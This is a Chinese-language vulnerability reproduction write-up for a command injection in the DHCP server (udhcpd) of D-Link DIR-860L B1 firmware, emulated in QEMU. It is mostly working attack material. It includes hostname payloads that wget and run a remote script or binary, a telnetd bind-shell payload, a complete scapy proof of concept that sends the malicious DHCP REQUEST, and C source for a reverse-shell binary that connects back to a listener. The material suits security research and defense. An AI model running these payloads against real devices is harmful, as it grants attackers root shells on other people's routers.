固件解包 1 binwalk -Me DIR-860L_B1_FW203b03.bin
固件模拟 配置网卡
1 2 3 echo 123 | sudo -S ip tuntap add dev tap10_0 mode tap echo 123 | sudo -S ip link set tap10_0 up echo 123 | sudo -S ip addr add 192.168.0.2/24 dev tap10_0
启动qemu
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 echo 123 | sudo -S qemu-system-mipsel \ -m 1024 -M malta \ -kernel binaries/vmlinux.mipsel.4 \ -drive if=ide,format=raw,file=scratch/10/image.raw \ -append "root=/dev/sda1 console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 \ rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1 \ FIRMAE_NET=true FIRMAE_NVRAM=true FIRMAE_KERNEL=true FIRMAE_ETC=true \ user_debug=0 firmadyne.syscall=1" \ -serial file:scratch/10/qemu.final.serial.log \ -serial unix:/tmp/qemu.10.S1,server,nowait \ -monitor unix:/tmp/qemu.10,server,nowait \ -display none \ -device e1000,netdev=net0 -netdev socket,id=net0,listen=:2000 \ -device e1000,netdev=net1 -netdev socket,id=net1,listen=:2001 \ -device e1000,netdev=net2 -netdev tap,id=net2,ifname=tap10_0,script=no \ -device e1000,netdev=net3 -netdev socket,id=net3,listen=:2003
漏洞分析 资料中描述了漏洞信息,在DHCP守护进程中发现了RCE,并且是在处理现有IP地址的DHCP REQUEST消息中。
去看udhcpd这个组件
从借鉴的文章中直接定位到这个处理DHCP的函数
然后再往下就能看到一个system()函数
从这里可以看到服务器循环接收 DHCP 报文,读取 Option 53决定走哪个分支
case3会通过get_option()直接从客户端DHCP REQUEST包中提取Option12,然后复制到v33,没有过滤地去把MAC(%s)、IP(%s)、hostname(%s)拼成命令字符串
也就是在流程图的这个地方,Option 12 = Hostname,攻击者可控,是命令注入的输入点
如果找到现有租约
发送ACK,确认续租
那接下来就只需要用一个 shell 分隔符 ; 把可控的hostname的内容截成新命令
可以输入
1 MyHost ; wget http://192.168.0.142:6666/evil.sh ; sh evil.sh ;
最终整条system执行的就是
1 usockc /var/mydlinkeventd_usock NEW_DEVICE,76:e4:ab:1e:fe:40,192.168.0.142,MyHost ; wget http://... ; sh evil.sh ;\n
但是就像这里
我们先需要一个hostname才能进入我们的命令注入点
因此我们必须先拥有合法的租约,并且在发送的恶意 REQUEST 包中包含 Hostname 字段,才能进入这个注入点
复现 先拿一次租约
1 echo 123 | sudo -S dhclient -v -1 tap10_0
1 2 3 4 MAC = "aa:1d:62:32:cf:ab" REQ_IP = "192.168.0.163" SERVER = "192.168.0.1" HOSTNAME = "; telnetd -l /bin/sh -p 9999 ;"
再关闭dhclicent防止后面干扰
然后开一个终端,准备给路由器传payload
1 python3 -m http.server 8000
再开一个nc监听
发恶意 DHCP REQUEST
1 echo 123 | sudo -S python3 rev_shell.py tap10_0
发送的 Hostname是
1 ; wget http://192.168.0.2:8000/shell.elf -O /tmp/s; chmod +x /tmp/s; /tmp/s 192.168.0.2 4444 &
拼进 udhcpd 的 system() 后,实际执行的命令
1 usockc /var/mydlinkeventd_usock NEW_DEVICE,aa:1d:62:32:cf:ab,192.168.0.163,; wget http://192.168.0.2:8000/shell.elf -O /tmp/s; chmod +x /tmp/s; /tmp/s 192.168.0.2 4444 &
然后路由器就会wget 下载 ->chmod +x->/tmp/s 后台回连
监听端口会收到连接,直接就是 root shell
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from scapy.all import *import timeIFACE = "tap10_0" MAC = "aa:1d:62:32:cf:ab" REQ_IP = "192.168.0.163" SERVER = "192.168.0.1" XID = 0x12345678 HOSTNAME = "; telnetd -l /bin/sh -p 9999 ;" mac_bytes = bytes .fromhex(MAC.replace(":" , "" )) pkt = (Ether(src=MAC, dst="ff:ff:ff:ff:ff:ff" ) / IP(src="0.0.0.0" , dst="255.255.255.255" ) / UDP(sport=68 , dport=67 ) / BOOTP(chaddr=mac_bytes, xid=XID) / DHCP(options=[ ("message-type" , "request" ), ("requested_addr" , REQ_IP), ("server_id" , SERVER), ("hostname" , HOSTNAME), "end" ])) for _ in range (3 ): sendp(pkt, iface=IFACE, verbose=False ) time.sleep(0.4 ) print ("[*] sent. hostname =" , HOSTNAME)
补充 shell.elf源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #include <unistd.h> #include <stdlib.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> int main (int argc, char **argv) { const char *ip = argc > 1 ? argv[1 ] : "192.168.0.2" ; int port = argc > 2 ? atoi(argv[2 ]) : 4444 ; int fd = socket(AF_INET, SOCK_STREAM, 0 ); if (fd < 0 ) return 1 ; struct sockaddr_in a ; a.sin_family = AF_INET; a.sin_port = htons((unsigned short )port); a.sin_addr.s_addr = inet_addr(ip); if (connect(fd, (struct sockaddr *)&a, sizeof (a)) < 0 ) return 2 ; dup2(fd, 0 ); dup2(fd, 1 ); dup2(fd, 2 ); char *sh_argv[] = {"/bin/sh" , NULL }; execve("/bin/sh" , sh_argv, NULL ); return 3 ; }